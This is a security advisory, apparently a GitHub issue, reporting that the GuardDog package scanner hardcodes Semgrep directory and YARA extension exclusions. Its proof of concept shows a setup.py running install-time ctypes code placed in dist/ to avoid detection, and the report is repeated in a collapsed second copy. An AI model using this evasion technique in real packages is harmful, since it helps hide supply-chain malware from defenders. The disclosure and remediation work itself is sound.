Summary
GuardDog hardcodes Semgrep directory excludes (dist/, build/, .github/, etc.) and YARA extension excludes (.json, .txt, .md, etc.) in Analyzer.__init__, allowing malicious packages to reduce detection coverage for source code and IOCs by placing payloads exclusively in these excluded locations.
Details
Root cause: guarddog/analyzer/analyzer.py uses hardcode exclusions.
Malicious packages can place all executable payloads in excluded directories or IOCs in excluded extensions, bypassing detection for code and IOCs located in those excluded locations.
PoC
- Create the directory structure:
$ mkdir -p /tmp/gd-py-evasion
$ cd /tmp/gd-py-evasion
- Malicious payload in
installer.py (detected):
$ vim installer.py
import ctypes
def run():
libc = ctypes.CDLL(None)
cmd_parts = ["echo", "PY_EVASION", ">", "/tmp/gd_py_ctypes_marker"]
cmd = " ".join(cmd_parts)
libc.system(cmd.encode())
- Simple
setup.py that calls the payload:
$ vim setup.py
from setuptools import setup
from installer import run
run()
setup(
name="gd_py_evasion",
version="0.0.1",
)
- Scan – GuardDog flags it:
$ guarddog pypi scan /tmp/gd-py-evasion
Found 1 potentially malicious indicators in /tmp/gd-py-evasion
dll-hijacking: found 1 source code matches
* This package manipulates a trusted application into loading a malicious DLL at installer.py:4
libc = ctypes.CDLL(None)
- Now move the same payload under
dist/ (Semgrep-excluded):
$ mkdir -p dist
$ mv installer.py dist
- Update
setup.py to import from dist:
$ vim setup.py
import sys, os
from setuptools import setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "dist"))
from installer import run
run()
setup(
name="gd_py_evasion",
version="0.0.1",
)
- Scan again – GuardDog no longer flags it:
$ guarddog pypi scan /tmp/gd-py-evasion
Found 0 potentially malicious indicators scanning /tmp/gd-py-evasion
The only change is the directory; the malicious code is identical. The behavior difference comes from _invoke_semgrep always passing --exclude='dist', so Semgrep never analyzes dist/installer.py and rules such as dll-hijacking do not fire.
(A similar IOC-only PoC can be built by placing C2 URLs or other YARA-matchable data solely in .json files and loading them at runtime; analyze_yara skips these due to YARA_EXT_EXCLUDE.)
Impact
Type: Systematic detection evasion / false negative in GuardDog’s scanning pipeline via hardcoded Semgrep and YARA exclusions.
Who is impacted: Any user or organization relying on GuardDog to vet PyPI, npm, Go, RubyGems, etc.
What an attacker gains: Ability to ship packages that execute arbitrary code at install time or runtime, or that hide IOCs in excluded files, while GuardDog reports them as clean as long as malicious code and IOCs reside only in excluded directories or file types.
Security posture: This does not exploit GuardDog itself, but it reduces its effectiveness as a supply-chain control and increases the likelihood of undetected malicious packages in pipelines that treat GuardDog findings as a primary gate.
Remediation
- Remove or relax hardcoded Semgrep directory excludes for package scans, or make them configurable per use case instead of unconditional (
dist, build, .github, etc.).
- Narrow the default YARA_EXT_EXCLUDE list so common config/data files (
.json, .txt, .md, etc.) are scanned, or require users to explicitly opt out of those extensions.
- Add tests ensuring that moving identical malicious code between root and excluded directories (or between non‑excluded and excluded extensions) does not change detection outcomes.
[Originally reported under security advisory, moved to an issue per suggestion by @sobregosodd]
Summary
GuardDog hardcodes Semgrep directory excludes (
dist/,build/,.github/, etc.) and YARA extension excludes (.json,.txt,.md, etc.) inAnalyzer.__init__, allowing malicious packages to reduce detection coverage for source code and IOCs by placing payloads exclusively in these excluded locations.Details
Root cause:
guarddog/analyzer/analyzer.pyuses hardcode exclusions.Malicious packages can place all executable payloads in excluded directories or IOCs in excluded extensions, bypassing detection for code and IOCs located in those excluded locations.
PoC
$ mkdir -p /tmp/gd-py-evasion $ cd /tmp/gd-py-evasioninstaller.py(detected):setup.pythat calls the payload:dist/(Semgrep-excluded):setup.pyto import fromdist:The only change is the directory; the malicious code is identical. The behavior difference comes from
_invoke_semgrepalways passing--exclude='dist', so Semgrep never analyzesdist/installer.pyand rules such as dll-hijacking do not fire.(A similar IOC-only PoC can be built by placing C2 URLs or other YARA-matchable data solely in
.jsonfiles and loading them at runtime;analyze_yaraskips these due to YARA_EXT_EXCLUDE.)Impact
Type: Systematic detection evasion / false negative in GuardDog’s scanning pipeline via hardcoded Semgrep and YARA exclusions.
Who is impacted: Any user or organization relying on GuardDog to vet PyPI, npm, Go, RubyGems, etc.
What an attacker gains: Ability to ship packages that execute arbitrary code at install time or runtime, or that hide IOCs in excluded files, while GuardDog reports them as clean as long as malicious code and IOCs reside only in excluded directories or file types.
Security posture: This does not exploit GuardDog itself, but it reduces its effectiveness as a supply-chain control and increases the likelihood of undetected malicious packages in pipelines that treat GuardDog findings as a primary gate.
Remediation
dist,build,.github, etc.)..json,.txt,.md, etc.) are scanned, or require users to explicitly opt out of those extensions.[Originally reported under security advisory, moved to an issue per suggestion by @sobregosodd]